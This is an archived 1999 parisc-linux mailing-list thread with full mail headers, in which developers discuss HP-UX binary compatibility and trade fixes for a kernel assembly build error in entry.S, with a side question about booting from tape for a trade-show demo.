	id <m10vzmT-00025gC@mencheca.ch.genedata.com> (Debian Smail3.2.0.102)
	for law@cygnus.com; Mon, 21 Jun 1999 10:50:17 +0200 (CEST) 
X-Mailer: Mutt 0.95.3i
In-Reply-To: <20550.929910096@upchuck.cygnus.com>; from Jeffrey A Law on Sun, Jun 20, 1999 at 02:21:36PM -0600
Xref: news.gmane.org gmane.linux.ports.parisc:9592

On Sun, Jun 20, 1999 at 02:21:36PM -0600, Jeffrey A Law wrote:
> 
>   In message <19990620194015.J30362@mencheca.ch.genedata.com>you write:
>   > 
>   > How far do we want to or are we able to go with making constants identical
>   > between HPUX and Linux?
> We never bothered at the UofU.  It didn't seem worth the headache to try and
> get either HP or Berkeley to change syscall, errno or other constants.

syscall and errno values are already different on different Linux
architectures anyway, so we have a free hand here.

> Just write translators on the hpux emulation side.

Yes, this is certainly what we'll do.  But if we can be clever and get a
bunch of compatibility for free, then we should.

-- 
Matthew Wilcox <willy@bofh.ai>
"Windows and MacOS are products, contrived by engineers in the service of
specific companies. Unix, by contrast, is not so much a product as it is a
painstakingly compiled oral history of the hacker subculture." - N Stephenson


From - Thu Nov 08 21:15:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HPUX binary compatibility
Date: Mon, 21 Jun 1999 11:35:32 +0100 (BST)
Lines: 8
Approved: news@gmane.org
Message-ID: <E10w1QM-0005e1-00@the-village.bc.nu>
References: <19990621104148.M30362@mencheca.ch.genedata.com>
NNTP-Posting-Host: plane.gmane.org
Content-Type: text
X-Trace: ger.gmane.org 1416619656 12183 80.91.229.3 (22 Nov 2014 01:27:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:36 +0000 (UTC)
Cc: alan@lxorguk.ukuu.org.uk, Matthew.Wilcox@genedata.com,
        parisc-linux@thepuffingroup.com
To: Matthew.Wilcox@genedata.com (Matthew Wilcox)
Original-X-From: alan@lxorguk.ukuu.org.uk  Mon Jun 21 04:36:49 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id EAA02938
	for <parisc-linux@puffin.external.hp.com>; Mon, 21 Jun 1999 04:36:48 -0600
Original-Received: (qmail 26038 invoked by uid 15267); 21 Jun 1999 10:36:10 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 26031 invoked from network); 21 Jun 1999 10:36:08 -0000
Original-Received: from lightning.swansea.uk.linux.org (HELO the-village.bc.nu) (194.168.151.1)
  by mailserv2.iuinc.com with SMTP; 21 Jun 1999 10:36:08 -0000
Original-Received: from alan by the-village.bc.nu with local (Exim 2.12 #1)
	id 10w1QM-0005e1-00; Mon, 21 Jun 1999 11:35:34 +0100
In-Reply-To: <19990621104148.M30362@mencheca.ch.genedata.com> from "Matthew Wilcox" at Jun 21, 99 10:41:48 am
Xref: news.gmane.org gmane.linux.ports.parisc:9593

> framebuffer fault) to be SIGSTKFLT for which HPUX has no equivalent.  My
> question was, will having more than 32 signals annoy any Linux people?

No. It just makes the signal delivery code a microscopic bit trickier


Alan


From - Thu Nov 08 21:15:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Assembly error: entry.S
Date: Mon, 21 Jun 1999 11:06:27 -0400 (EDT)
Lines: 10
Approved: news@gmane.org
Message-ID: <199906211506.LAA02079@hiauly1.hia.nrc.ca>
References: <19990621105017.N30362@mencheca.ch.genedata.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619656 12185 80.91.229.3 (22 Nov 2014 01:27:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:36 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Matthew.Wilcox@genedata.com (Matthew Wilcox)
Original-X-From: dave@hiauly1.hia.nrc.ca  Mon Jun 21 09:06:49 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id JAA03537
	for <parisc-linux@puffin.external.hp.com>; Mon, 21 Jun 1999 09:06:48 -0600
Original-Received: (qmail 3580 invoked by uid 15267); 21 Jun 1999 15:06:10 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 3573 invoked from network); 21 Jun 1999 15:06:09 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.44.13)
  by mailserv2.iuinc.com with SMTP; 21 Jun 1999 15:06:09 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id LAA02079;
	Mon, 21 Jun 1999 11:06:28 -0400 (EDT)
In-Reply-To: <19990621105017.N30362@mencheca.ch.genedata.com> from "Matthew Wilcox" at Jun 21, 99 10:50:17 am
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:9594

The following error occurs building the kernel:

gcc -D__KERNEL__ -I/ehic/a/pa/linux/include    -c -o entry.o entry.S
entry.S:219: macro `ENTRY_NAME' used without args
make[1]: *** [entry.o] Error 1

-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:15:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <Matthew.Wilcox@genedata.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Assembly error: entry.S
Date: Mon, 21 Jun 1999 17:20:15 +0200
Lines: 15
Approved: news@gmane.org
Message-ID: <19990621172015.P30362@mencheca.ch.genedata.com>
References: <19990621105017.N30362@mencheca.ch.genedata.com> <199906211506.LAA02079@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619657 12188 80.91.229.3 (22 Nov 2014 01:27:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:37 +0000 (UTC)
Cc: Matthew Wilcox <Matthew.Wilcox@genedata.com>,
        parisc-linux@thepuffingroup.com
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: Matthew.Wilcox@genedata.com  Mon Jun 21 09:20:22 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id JAA03819
	for <parisc-linux@puffin.external.hp.com>; Mon, 21 Jun 1999 09:20:21 -0600
Original-Received: (qmail 6083 invoked by uid 15267); 21 Jun 1999 15:19:43 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 6076 invoked from network); 21 Jun 1999 15:19:43 -0000
Original-Received: from mentolat-e0.core.genedata.com (HELO mail.core.genedata.com) (157.161.173.16)
  by mailserv2.iuinc.com with SMTP; 21 Jun 1999 15:19:43 -0000
Original-Received: from relay.ch.genedata.com (pinatubo-e0.ch.genedata.com [157.161.173.48])
	by mail.core.genedata.com (8.9.3/8.9.3) with ESMTP id RAA05180;
	Mon, 21 Jun 1999 17:20:17 +0200
Original-Received: from mencheca.ch.genedata.com (root@mencheca.ch.genedata.com [157.161.173.82])
	by relay.ch.genedata.com (8.9.3/8.9.3) with ESMTP id RAA2215647;
	Mon, 21 Jun 1999 17:20:16 +0200 (CEST)
Original-Received: by genedata.com
	via sendmail from stdin
	id <m10w5rr-00027GC@mencheca.ch.genedata.com> (Debian Smail3.2.0.102)
	for Matthew.Wilcox@genedata.com; Mon, 21 Jun 1999 17:20:15 +0200 (CEST) 
X-Mailer: Mutt 0.95.3i
In-Reply-To: <199906211506.LAA02079@hiauly1.hia.nrc.ca>; from John David Anglin on Mon, Jun 21, 1999 at 11:06:27AM -0400
Xref: news.gmane.org gmane.linux.ports.parisc:9595

On Mon, Jun 21, 1999 at 11:06:27AM -0400, John David Anglin wrote:
> The following error occurs building the kernel:
> 
> gcc -D__KERNEL__ -I/ehic/a/pa/linux/include    -c -o entry.o entry.S
> entry.S:219: macro `ENTRY_NAME' used without args
> make[1]: *** [entry.o] Error 1

Delete line 219.  Oops.

-- 
Matthew Wilcox <willy@bofh.ai>
"Windows and MacOS are products, contrived by engineers in the service of
specific companies. Unix, by contrast, is not so much a product as it is a
painstakingly compiled oral history of the hacker subculture." - N Stephenson


From - Thu Nov 08 21:15:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Assembly error: entry.S
Date: Mon, 21 Jun 1999 11:27:31 -0400 (EDT)
Lines: 21
Approved: news@gmane.org
Message-ID: <199906211527.LAA02313@hiauly1.hia.nrc.ca>
References: <19990621172015.P30362@mencheca.ch.genedata.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619657 12189 80.91.229.3 (22 Nov 2014 01:27:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:37 +0000 (UTC)
Cc: Matthew.Wilcox@genedata.com, parisc-linux@thepuffingroup.com
To: Matthew.Wilcox@genedata.com (Matthew Wilcox)
Original-X-From: dave@hiauly1.hia.nrc.ca  Mon Jun 21 09:27:42 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id JAA04028
	for <parisc-linux@puffin.external.hp.com>; Mon, 21 Jun 1999 09:27:42 -0600
Original-Received: (qmail 7424 invoked by uid 15267); 21 Jun 1999 15:27:04 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 7410 invoked from network); 21 Jun 1999 15:27:03 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.44.13)
  by mailserv2.iuinc.com with SMTP; 21 Jun 1999 15:27:03 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id LAA02313;
	Mon, 21 Jun 1999 11:27:31 -0400 (EDT)
In-Reply-To: <19990621172015.P30362@mencheca.ch.genedata.com> from "Matthew Wilcox" at Jun 21, 99 05:20:15 pm
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:9596

> 
> On Mon, Jun 21, 1999 at 11:06:27AM -0400, John David Anglin wrote:
> > The following error occurs building the kernel:
> > 
> > gcc -D__KERNEL__ -I/ehic/a/pa/linux/include    -c -o entry.o entry.S
> > entry.S:219: macro `ENTRY_NAME' used without args
> > make[1]: *** [entry.o] Error 1
> 
> Delete line 219.  Oops.

and then

gcc -D__KERNEL__ -I/ehic/a/pa/linux/include    -c -o entry.o entry.S
entry.S: Assembler messages:
entry.S:228: Error: bad or irreducible absolute expression; zero assumed
make[1]: *** [entry.o] Error 1

-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:15:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <Matthew.Wilcox@genedata.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Assembly error: entry.S
Date: Mon, 21 Jun 1999 17:42:31 +0200
Lines: 34
Approved: news@gmane.org
Message-ID: <19990621174231.R30362@mencheca.ch.genedata.com>
References: <19990621172015.P30362@mencheca.ch.genedata.com> <199906211527.LAA02313@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619657 12192 80.91.229.3 (22 Nov 2014 01:27:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:37 +0000 (UTC)
Cc: Matthew Wilcox <Matthew.Wilcox@genedata.com>,
        parisc-linux@thepuffingroup.com
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: Matthew.Wilcox@genedata.com  Mon Jun 21 09:42:37 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id JAA04226
	for <parisc-linux@puffin.external.hp.com>; Mon, 21 Jun 1999 09:42:36 -0600
Original-Received: (qmail 10059 invoked by uid 15267); 21 Jun 1999 15:41:58 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 10052 invoked from network); 21 Jun 1999 15:41:57 -0000
Original-Received: from mentolat-e0.core.genedata.com (HELO mail.core.genedata.com) (157.161.173.16)
  by mailserv2.iuinc.com with SMTP; 21 Jun 1999 15:41:57 -0000
Original-Received: from relay.ch.genedata.com (pinatubo-e0.ch.genedata.com [157.161.173.48])
	by mail.core.genedata.com (8.9.3/8.9.3) with ESMTP id RAA05270;
	Mon, 21 Jun 1999 17:42:32 +0200
Original-Received: from mencheca.ch.genedata.com (root@mencheca.ch.genedata.com [157.161.173.82])
	by relay.ch.genedata.com (8.9.3/8.9.3) with ESMTP id RAA2189119;
	Mon, 21 Jun 1999 17:42:32 +0200 (CEST)
Original-Received: by genedata.com
	via sendmail from stdin
	id <m10w6DP-00029uC@mencheca.ch.genedata.com> (Debian Smail3.2.0.102)
	for Matthew.Wilcox@genedata.com; Mon, 21 Jun 1999 17:42:31 +0200 (CEST) 
X-Mailer: Mutt 0.95.3i
In-Reply-To: <199906211527.LAA02313@hiauly1.hia.nrc.ca>; from John David Anglin on Mon, Jun 21, 1999 at 11:27:31AM -0400
Xref: news.gmane.org gmane.linux.ports.parisc:9597

On Mon, Jun 21, 1999 at 11:27:31AM -0400, John David Anglin wrote:
> > 
> > On Mon, Jun 21, 1999 at 11:06:27AM -0400, John David Anglin wrote:
> > > The following error occurs building the kernel:
> > > 
> > > gcc -D__KERNEL__ -I/ehic/a/pa/linux/include    -c -o entry.o entry.S
> > > entry.S:219: macro `ENTRY_NAME' used without args
> > > make[1]: *** [entry.o] Error 1
> > 
> > Delete line 219.  Oops.
> 
> and then
> 
> gcc -D__KERNEL__ -I/ehic/a/pa/linux/include    -c -o entry.o entry.S
> entry.S: Assembler messages:
> entry.S:228: Error: bad or irreducible absolute expression; zero assumed
> make[1]: *** [entry.o] Error 1

I don't know how to fix this one since I'm not sure what constants are
available.  The snippet is:

        .rept NR_syscalls-NR_Linux_syscalls
                ENTRY_NAME(sys_ni_syscall)
        .endr

which just pads the table out to the right size.  Evidently the number
256-182 = 74 is not representable.  What numbers are?  I'd guess 64 is.

-- 
Matthew Wilcox <willy@bofh.ai>
"Windows and MacOS are products, contrived by engineers in the service of
specific companies. Unix, by contrast, is not so much a product as it is a
painstakingly compiled oral history of the hacker subculture." - N Stephenson


From - Thu Nov 08 21:15:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Assembly error: entry.S
Date: Mon, 21 Jun 1999 11:55:42 -0400 (EDT)
Lines: 37
Approved: news@gmane.org
Message-ID: <199906211555.LAA02636@hiauly1.hia.nrc.ca>
References: <19990621174231.R30362@mencheca.ch.genedata.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619658 12195 80.91.229.3 (22 Nov 2014 01:27:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:38 +0000 (UTC)
Cc: Matthew.Wilcox@genedata.com, parisc-linux@thepuffingroup.com
To: Matthew.Wilcox@genedata.com (Matthew Wilcox)
Original-X-From: dave@hiauly1.hia.nrc.ca  Mon Jun 21 09:55:53 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id JAA04407
	for <parisc-linux@puffin.external.hp.com>; Mon, 21 Jun 1999 09:55:52 -0600
Original-Received: (qmail 12745 invoked by uid 15267); 21 Jun 1999 15:55:10 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 12734 invoked from network); 21 Jun 1999 15:55:10 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.44.13)
  by mailserv2.iuinc.com with SMTP; 21 Jun 1999 15:55:10 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id LAA02636;
	Mon, 21 Jun 1999 11:55:42 -0400 (EDT)
In-Reply-To: <19990621174231.R30362@mencheca.ch.genedata.com> from "Matthew Wilcox" at Jun 21, 99 05:42:31 pm
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:9598

> 
> On Mon, Jun 21, 1999 at 11:27:31AM -0400, John David Anglin wrote:
> > > 
> > > On Mon, Jun 21, 1999 at 11:06:27AM -0400, John David Anglin wrote:
> > > > The following error occurs building the kernel:
> > > > 
> > > > gcc -D__KERNEL__ -I/ehic/a/pa/linux/include    -c -o entry.o entry.S
> > > > entry.S:219: macro `ENTRY_NAME' used without args
> > > > make[1]: *** [entry.o] Error 1
> > > 
> > > Delete line 219.  Oops.
> > 
> > and then
> > 
> > gcc -D__KERNEL__ -I/ehic/a/pa/linux/include    -c -o entry.o entry.S
> > entry.S: Assembler messages:
> > entry.S:228: Error: bad or irreducible absolute expression; zero assumed
> > make[1]: *** [entry.o] Error 1
> 
> I don't know how to fix this one since I'm not sure what constants are
> available.  The snippet is:
> 
>         .rept NR_syscalls-NR_Linux_syscalls
>                 ENTRY_NAME(sys_ni_syscall)
>         .endr
> 
> which just pads the table out to the right size.  Evidently the number
> 256-182 = 74 is not representable.  What numbers are?  I'd guess 64 is.

The problem is NR_Linux_syscalls is not defined.  Define this to 182
and the file will assemble.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:15:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <Matthew.Wilcox@genedata.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Assembly error: entry.S
Date: Mon, 21 Jun 1999 18:07:00 +0200
Lines: 12
Approved: news@gmane.org
Message-ID: <19990621180700.S30362@mencheca.ch.genedata.com>
References: <19990621174231.R30362@mencheca.ch.genedata.com> <199906211555.LAA02636@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619658 12196 80.91.229.3 (22 Nov 2014 01:27:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:38 +0000 (UTC)
Cc: Matthew Wilcox <Matthew.Wilcox@genedata.com>,
        parisc-linux@thepuffingroup.com
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: Matthew.Wilcox@genedata.com  Mon Jun 21 10:07:11 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id KAA04583
	for <parisc-linux@puffin.external.hp.com>; Mon, 21 Jun 1999 10:07:09 -0600
Original-Received: (qmail 14844 invoked by uid 15267); 21 Jun 1999 16:06:26 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 14834 invoked from network); 21 Jun 1999 16:06:25 -0000
Original-Received: from mentolat-e0.core.genedata.com (HELO mail.core.genedata.com) (157.161.173.16)
  by mailserv2.iuinc.com with SMTP; 21 Jun 1999 16:06:25 -0000
Original-Received: from relay.ch.genedata.com (pinatubo-e0.ch.genedata.com [157.161.173.48])
	by mail.core.genedata.com (8.9.3/8.9.3) with ESMTP id SAA05384;
	Mon, 21 Jun 1999 18:07:00 +0200
Original-Received: from mencheca.ch.genedata.com (root@mencheca.ch.genedata.com [157.161.173.82])
	by relay.ch.genedata.com (8.9.3/8.9.3) with ESMTP id SAA2135457;
	Mon, 21 Jun 1999 18:07:00 +0200 (CEST)
Original-Received: by genedata.com
	via sendmail from stdin
	id <m10w6b6-00029uC@mencheca.ch.genedata.com> (Debian Smail3.2.0.102)
	for Matthew.Wilcox@genedata.com; Mon, 21 Jun 1999 18:07:00 +0200 (CEST) 
X-Mailer: Mutt 0.95.3i
In-Reply-To: <199906211555.LAA02636@hiauly1.hia.nrc.ca>; from John David Anglin on Mon, Jun 21, 1999 at 11:55:42AM -0400
Xref: news.gmane.org gmane.linux.ports.parisc:9599

On Mon, Jun 21, 1999 at 11:55:42AM -0400, John David Anglin wrote:
> The problem is NR_Linux_syscalls is not defined.  Define this to 182
> and the file will assemble.

Ah.  It was supposed to be __NR_Linux_syscalls, of course.

-- 
Matthew Wilcox <willy@bofh.ai>
"Windows and MacOS are products, contrived by engineers in the service of
specific companies. Unix, by contrast, is not so much a product as it is a
painstakingly compiled oral history of the hacker subculture." - N Stephenson


From - Thu Nov 08 21:15:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Mintz <david_mintz@hotmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] LinuxTag
Date: Mon, 21 Jun 1999 09:11:46 PDT
Lines: 49
Approved: news@gmane.org
Message-ID: <19990621161146.54178.qmail@hotmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; format=flowed
X-Trace: ger.gmane.org 1416619658 12201 80.91.229.3 (22 Nov 2014 01:27:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:38 +0000 (UTC)
To: Matthew.Wilcox@genedata.com, parisc-linux@thepuffingroup.com
Original-X-From: david_mintz@hotmail.com  Mon Jun 21 10:12:16 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id KAA04739
	for <parisc-linux@puffin.external.hp.com>; Mon, 21 Jun 1999 10:12:15 -0600
Original-Received: (qmail 15889 invoked by uid 15267); 21 Jun 1999 16:11:38 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 15882 invoked from network); 21 Jun 1999 16:11:37 -0000
Original-Received: from f278.hotmail.com (HELO hotmail.com) (207.82.251.169)
  by mailserv2.iuinc.com with SMTP; 21 Jun 1999 16:11:37 -0000
Original-Received: (qmail 54179 invoked by uid 0); 21 Jun 1999 16:11:46 -0000
Original-Received: from 207.140.74.204 by www.hotmail.com with HTTP;
	Mon, 21 Jun 1999 09:11:46 PDT
X-Originating-IP: [207.140.74.204]
Xref: news.gmane.org gmane.linux.ports.parisc:9600

Why don't you boot from tape?  That's what I did.  I was able to get the 
spinning curser on an s800 by dd'ing the bootstrap_4_bin file to tape and 
then booting it.  I tried putting the kernal image on there too but it 
doesn't seem to really pass control to it.

-David Mintz


>From: Matthew Wilcox <Matthew.Wilcox@genedata.com>
>To: parisc-linux@thepuffingroup.com
>Subject: [parisc-linux] LinuxTag
>Date: Thu, 17 Jun 1999 11:22:37 +0200
>
>
>HP have invited me to be at their stand for LinuxTag in Kaiserslautern,
>Germany on the 26th/27th of June.  I'd like to be able to demonstrate
>something, even if it's just the bootloader and a spinning cursor.
>
>I guess what I want is another machine that is attached to the webconsole
>and a network between them to allow the A180 to netboot.  Or does someone
>have a better idea?  (Would these management cards someone mentioned be
>any use?)
>
>----- Forwarded message -----
>
>Now I have some more questions:
>- What HW do you need exactly? You wrote a A180. This is o.k., but are
>there other necessaries you need in the A180? And which linux version do
>you need on this server?
>- Could you install the SW on the server?
>
>----- End forwarded message -----
>
>--
>Matthew Wilcox <willy@bofh.ai>
>"Windows and MacOS are products, contrived by engineers in the service of
>specific companies. Unix, by contrast, is not so much a product as it is a
>painstakingly compiled oral history of the hacker subculture." - N 
>Stephenson
>
>---------------------------------------------------------------------------
>To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
>`unsubscribe' as the subject.
>


_______________________________________________________________
Get Free Email and Do More On The Web. Visit http://www.msn.com


From - Thu Nov 08 21:15:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Assembly error: entry.S
Date: Mon, 21 Jun 1999 12:16:30 -0400 (EDT)
Lines: 16
Approved: news@gmane.org
Message-ID: <199906211616.MAA02913@hiauly1.hia.nrc.ca>
References: <19990621180700.S30362@mencheca.ch.genedata.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619659 12202 80.91.229.3 (22 Nov 2014 01:27:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:39 +0000 (UTC)
Cc: Matthew.Wilcox@genedata.com, parisc-linux@thepuffingroup.com
To: Matthew.Wilcox@genedata.com (Matthew Wilcox)
Original-X-From: dave@hiauly1.hia.nrc.ca  Mon Jun 21 10:16:40 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id KAA04892
	for <parisc-linux@puffin.external.hp.com>; Mon, 21 Jun 1999 10:16:39 -0600
Original-Received: (qmail 16682 invoked by uid 15267); 21 Jun 1999 16:16:01 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 16661 invoked from network); 21 Jun 1999 16:16:00 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.44.13)
  by mailserv2.iuinc.com with SMTP; 21 Jun 1999 16:16:00 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id MAA02913;
	Mon, 21 Jun 1999 12:16:30 -0400 (EDT)
In-Reply-To: <19990621180700.S30362@mencheca.ch.genedata.com> from "Matthew Wilcox" at Jun 21, 99 06:07:00 pm
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:9601

> 
> On Mon, Jun 21, 1999 at 11:55:42AM -0400, John David Anglin wrote:
> > The problem is NR_Linux_syscalls is not defined.  Define this to 182
> > and the file will assemble.
> 
> Ah.  It was supposed to be __NR_Linux_syscalls, of course.

This is defined in asm/unistd.h.  However, it is not included.  I changed
the asm/segment.h include to asm/unistd.h since the segment.h include
is obsolete.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:15:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Hack to head.S
Date: Mon, 21 Jun 1999 12:32:22 -0400 (EDT)
Lines: 19
Approved: news@gmane.org
Message-ID: <199906211632.MAA02966@hiauly1.hia.nrc.ca>
References: <19990621174231.R30362@mencheca.ch.genedata.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619659 12203 80.91.229.3 (22 Nov 2014 01:27:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:39 +0000 (UTC)
Cc: Matthew.Wilcox@genedata.com, parisc-linux@thepuffingroup.com
To: Matthew.Wilcox@genedata.com (Matthew Wilcox)
Original-X-From: dave@hiauly1.hia.nrc.ca  Mon Jun 21 10:32:34 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id KAA05292
	for <parisc-linux@puffin.external.hp.com>; Mon, 21 Jun 1999 10:32:34 -0600
